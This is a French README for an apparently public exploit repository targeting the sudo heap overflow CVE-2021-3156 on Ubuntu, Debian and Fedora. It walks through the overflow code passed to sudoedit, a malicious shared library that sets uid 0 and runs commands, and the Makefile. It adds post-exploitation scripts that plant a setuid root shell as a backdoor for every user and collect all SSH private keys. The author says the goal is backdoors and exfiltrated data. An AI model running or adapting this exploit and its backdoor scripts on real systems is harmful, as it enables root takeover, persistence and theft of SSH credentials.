PE_CVE-CVE-2021-3156

Exploit pour Ubuntu 20.04 utilisant CVE-2021-3156, enrichi de scripts de post-exploitation simples et automatisés

En plus du shell root, vous pouvez obtenir :

-Un fichier .txt avec toutes les clés SSH id_rsa configurées sur le serveur. Voir le script : get_all_ssh_keys.sh

-Un exécutable privshell permettant à tout utilisateur de lancer un shell root (en cours de correction de l'erreur gcc). Voir le script : create_privshell.sh

PoC pour le PE_CVE-CVE-2021-3156.

Prérequis

Pour obtenir un résultat réussi, il est nécessaire que la machine victime possède l'une des versions suivantes de l'OS et de Sudo :

-Ubuntu 20.04 (Sudo 1.8.31)

-Debian 10 (Sudo 1.8.27)

-Fedora 33 (Sudo 1.9.2)

Afin de rendre ma VM vulnérable, j'ai rétrogradé ma version de sudo avec la commande suivante :

$ sudo apt install sudo=1.8.31-1ubuntu1

Exploit

L'exploit fonctionne tant que l'accès au système victime est obtenu avec un utilisateur ne disposant pas de privilèges considérables.

Vous pouvez cloner le dépôt sur la machine de la victime ou sur votre machine locale et le charger via wget

Exécutez la commande "make" pour compiler les fichiers .c selon la vulnérabilité

Vous obtiendrez le fichier exploit, vous pouvez donc l'exécuter avec "./" Après avoir exécuté l'exploit, nous pouvons maintenant voir deux fichiers générés dans le dépôt, l'un contenant toutes les clés SSH enregistrées sur le système et l'autre contenant le fichier SUID exécutable qui accorde une session root à tous les utilisateurs. (surligné en violet)

Vous pourriez voir une erreur comme celle-ci :

J'essaie encore de résoudre l'erreur, mais je suppose qu'il s'agit du shell qui génère l'exploit. J'ai essayé d'exécuter la commande ./create_privshell.sh en tant que root en accédant avec sudo su depuis un utilisateur disposant des permissions appropriées, et la compilation du script s'est déroulée correctement. Sinon, il peut être compilé sur une autre machine et copié sur la victime, d'où l'existence d'une requête wget.

Le script à compiler est le suivant :

echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c
gcc -o privshell privshell.c
rm privshell.c
chown root:root privshell
chmod u+s privshell

Vous pouvez maintenant lire les fichiers .txt avec toutes les clés SSH et utiliser le privshell en attendant que je corrige l'erreur gcc

À PROPOS DE CVE-2021-3156.

Découverte par Qualys

Score CVSS de 7.8

CVE-2021-3156, également connue sous le nom de vulnérabilité "Baron Samedit", est une faille de sécurité qui affecte le programme sudo largement utilisé sur les systèmes d'exploitation de type Unix. Sudo est un programme qui permet aux utilisateurs d'exécuter des commandes avec des privilèges élevés, généralement en saisissant leur propre mot de passe ou un mot de passe root. La vulnérabilité est causée par un problème de débordement de tampon dans la fonction "sudoedit" de la commande sudo, qui permet aux utilisateurs de modifier des fichiers avec des privilèges élevés. La vulnérabilité a été découverte pour la première fois en janvier 2021 par Qualys Research Labs, et elle affecte les versions de sudo de 1.8.2 à 1.8.31p2 et de 1.9.0 à 1.9.5p1.

###Détails très très techniques Informations provenant de : Qualys

En d'autres termes, set_cmnd() est vulnérable à un débordement de tampon basé sur le tas, car les caractères hors limites qui sont copiés dans le tampon "user_args" n'ont pas été inclus dans sa taille (calculée aux lignes 852-853).

Pour la partie débordement, j'ai utilisé le fichier exploit.c de redhawkeye/sudo-exploit

C'est un peu complexe mais facilement interprétable.

 char *env[] = {
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "X/X",
        concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
        NULL
    };

Cette partie déclare un tableau de variables d'environnement env qui sera passé à l'appel système execve. Les variables d'environnement contiennent une série d'antislashs et une variable spécialement conçue appelée LC_ALL qui a la valeur "C.UTF-8@" concaténée avec 208 (0xd0) caractères A. La valeur C.UTF-8@ sera passée comme variable d'environnement LC_ALL à la commande sudoedit. Les 208 caractères A sont utilisés pour faire déborder un tampon dans le programme sudoedit et exécuter du code arbitraire.

  char * a = concat(str_repeat('A', 0x70),"\\");
    char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
    execve(argv[0], argv, env);

Cette partie déclare une variable a qui contient une chaîne de 112 (0x70) caractères A, suivis d'un antislash. Elle déclare ensuite un tableau argv qui sera passé à execve. Le tableau contient le chemin vers la commande sudoedit (/usr/bin/sudoedit), le flag -s, et la variable a créée ci-dessus.

  execve(argv[0], argv, env);

C'est l'appel système execve qui exécute réellement la commande sudoedit avec les arguments et variables d'environnement fournis. Le programme sudoedit lira la variable d'environnement LC_ALL et tentera de l'analyser comme un chemin de fichier. Les caractères A qui débordent seront utilisés pour écrire des données arbitraires en mémoire et potentiellement exécuter du code arbitraire.

Ainsi, ces données en mémoire réservées à l'EXEC (RCE) seront utilisées par notre fichier shell_tool.c

__attribute((constructor))
static void sice() {
    setuid(0);
    system("command");
    ...
    system("bash");

Cette partie du code déclare une fonction nommée sice avec l'attribut attribute((constructor)), donc la fonction sera automatiquement appelée lorsque le programme démarre, avant l'exécution de main(). À l'intérieur de la fonction sice, la fonction setuid(0) est appelée pour définir l'ID utilisateur effectif du processus à 0, qui est l'ID utilisateur du superutilisateur ou root. Cela donne effectivement des privilèges root au programme. Ensuite, en utilisant simplement l'argument system("command"), nous pouvons faire tout ce que nous voulons avant que la session root n'apparaisse dans le terminal, c'est pourquoi j'ai voulu essayer le scripting, afin d'avoir quelques backdoors et des données exfiltrées avant d'obtenir le shell root.

J'ai essayé de coder ma propre version du code appelée mybufferof.c, fondamentalement c'est assez similaire, donc n'hésitez pas à modifier le Makefile pour le tester jeje

À propos du Makefile

all:
	gcc bufferof.c -o exploit
	mkdir libnss_X
	gcc -g -fPIC -shared shell_tool.c -o libnss_X/X.so.2

D'abord, nous devons compiler notre exploit, puis créer le répertoire "libnss_X". Ensuite, la dernière commande compile le fichier shell_tool.c et crée un fichier objet partagé nommé X.so.2 dans le répertoire libnss_X :

Le flag -g génère des informations de débogage pour le fichier objet partagé.

Le flag -fPIC génère du code indépendant de la position pour les objets partagés.

Le flag -shared spécifie qu'un fichier objet partagé doit être créé.

Le fichier objet partagé résultant X.so.2 est placé dans le répertoire libnss_X créé à la deuxième étape.

Ceci est important pour la CVE, à cause de cela :

Données provenant de :Qualys

Voilà, profitez-en, je suppose